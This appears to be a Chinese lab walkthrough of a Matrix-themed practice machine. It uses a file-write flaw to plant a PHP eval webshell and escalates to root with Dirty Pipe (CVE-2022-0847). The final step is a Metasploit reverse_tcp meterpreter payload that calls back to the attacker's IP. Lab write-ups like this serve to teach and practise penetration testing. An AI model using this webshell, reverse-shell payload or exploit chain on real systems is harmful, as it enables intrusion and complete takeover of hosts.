# 前言
新的一周,踩新的坑,上新的火,提新的权。更新套路:扫IP->扫端口->扫后台->拿shell->提权。
# 信息收集
还是用nmap扫IP。
nmap -Pn -A --min-rate 10000 192.168.117.0/24

由此可知,新的IP为192.168.117.144,开放的端口为 22,80,81。
挨个访问一下。81是认证,需要username:password,不知道用户名和密码,通常是使用Burp抓包之后将username:password进行base64编码进行暴力破解。按下不表,毕竟暴破这事儿都是最后的手段。
访问一下80端口,发现是个网页:你扮演崔妮蒂balabala.........

嗯,扫下后台吧,一开始用dirsearch,没扫出什么有用信息。后来换dirb,也没什么有用信息。只好换成gobuster(真好用)。

发现robots.txt,graffiti.txt,graffiti.php。先从robots.txt看起。

看过《黑客帝国》的师傅都知道,Morpheus让Neo跟着兔子走,而那只兔子就是崔妮蒂。看来robots.txt是没什么用了,看看其它的页面有什么内容。
graffiti.txt

graffiti.php

看起来可以留言,随手写了个123,和whoami作为测试。发现这两个字符串都被记录到了graffiti.txt中。

于是,左思,右想,站着思,趴着想,抓个包看看有什么猫腻。

message是在输入框里输入的内容,file是把内容输出到graffiti.txt中。那么,是不是可以写个一句话进去?
# 渗透测试
为了测试一下上面的思路,写了个一句话并将后面的文件名改为96226.php。
<?php @eval($_POST["x"]);?>

通过浏览器访问发现存在该页面且代码被解析。

那还客气啥了,蚁剑走起!

# 提权
经常渗透的师傅们都发现到现在为止都很顺利。然后,顺利就这么顺利的结束了。拿了shell就走算什么本事,要拿到最高权限才叫打穿!打穿!!!!!!
先看下内核信息。

用户名为www-data,linux版本为5.10.0 64位,发行版为Debian 5.10.70。
上exploit-db.com找找有没有能利用的内核漏洞。

没有。

也没有。

还没有。
就这么放弃了吗?眼看到手的甜甜圈就这么没了真不甘心。于是用kali自带的searchsploit 找一下。

locate linux/local/50808.c
通常不建议在原文件上进行操作,主要是怕改出问题恢复不了。

根据上一个靶机的经验,上传源码,gcc编译一下,运行,基本就提权了。然而,事实并没有那么简单。

上传编译执行后,发现语法为 ./执行文件名称加SUID的文件,只好用find命令查一下。

这一查还真不少。
执行一下文件。
./执行文件名称 /usr/bin/su

执行了个寂寞。
怀疑是源代码的问题,打开看了一下,发现用的是CVE-2022-0847。

于是去了全球最大同性交友网站Github上找了exp。
git clone https://github.com/imfiver/CVE-2022-0847.git
打开文件上传到靶机执行。

程序是被执行了,想恢复也能恢复了。插一句漏洞信息:该漏洞是通过替换/etc/passwd文件,将root密码替换为空,也就意味着su root时不需要再输入密码。
但是,看报错信息说不存在root用户。于是求助了大佬,linux系统可以不存在root用户吗?大佬说root用户可能会被改名。查看/etc/passwd文件发现看不到改名的root用户。

想用本地的passwd文件替换靶机的passwd文件发现权限不够。切换为trinity和cypher用户发现也不被允许。

那就只能求助msf这个神器了。
## 跳坑
首先用msfvenom生成后门。
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.117.148 lport=5566 -f elf -o /home/sombra/Downloads/96226.elf

需要特别说明的是lhost是攻击机的地址,lport是攻击机监听的端口。
在msfconsole中利用exploit/multi/handler进行监听。
msf6 > use exploit/multi/handler
执行结束后,加载reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
![]()
show options 查看一下需要设置的IP和PORT。
set lhost IP //设置攻击机IP
set lport port //设置攻击机端口
run //执行

同时在靶机上执行./执行文件
![]()
此时在攻击机上就能看到meterpreter的会话了。
回到msfconsole。
background

需要注意在meterpreter中得到的session为1。
回到msfconsole中搜索suggester并使用,使用show options查看该模块需要填写的信息。
set session 1 //设置会话

发现了一大堆建议,选择相关的建议。

use exploit/linux/local/cve_2022_0847_dirtypipe
通过show options 查看需要设置的参数

接下来看到的信息是执行漏洞成功后的session ID 为 3,利用meterpreter命令进入shell执行命令。
background //挂起当前session
sessions -i 3 //在meterpreter中切换会话
shell //在meterpreter中执行命令

提权结束喽!
# 总结
提权成功之后才知道为什么50808.c执行后报错了,终究是大佬说的root改了名。在实战中也是存在这种情况,所以多会一种提权方式是有多么的重要啊!MSF是一个强大的框架,使用上对大小写不敏感,命令也更接近日常习惯。又是收获满满的一周!
668

被折叠的 条评论
为什么被折叠?



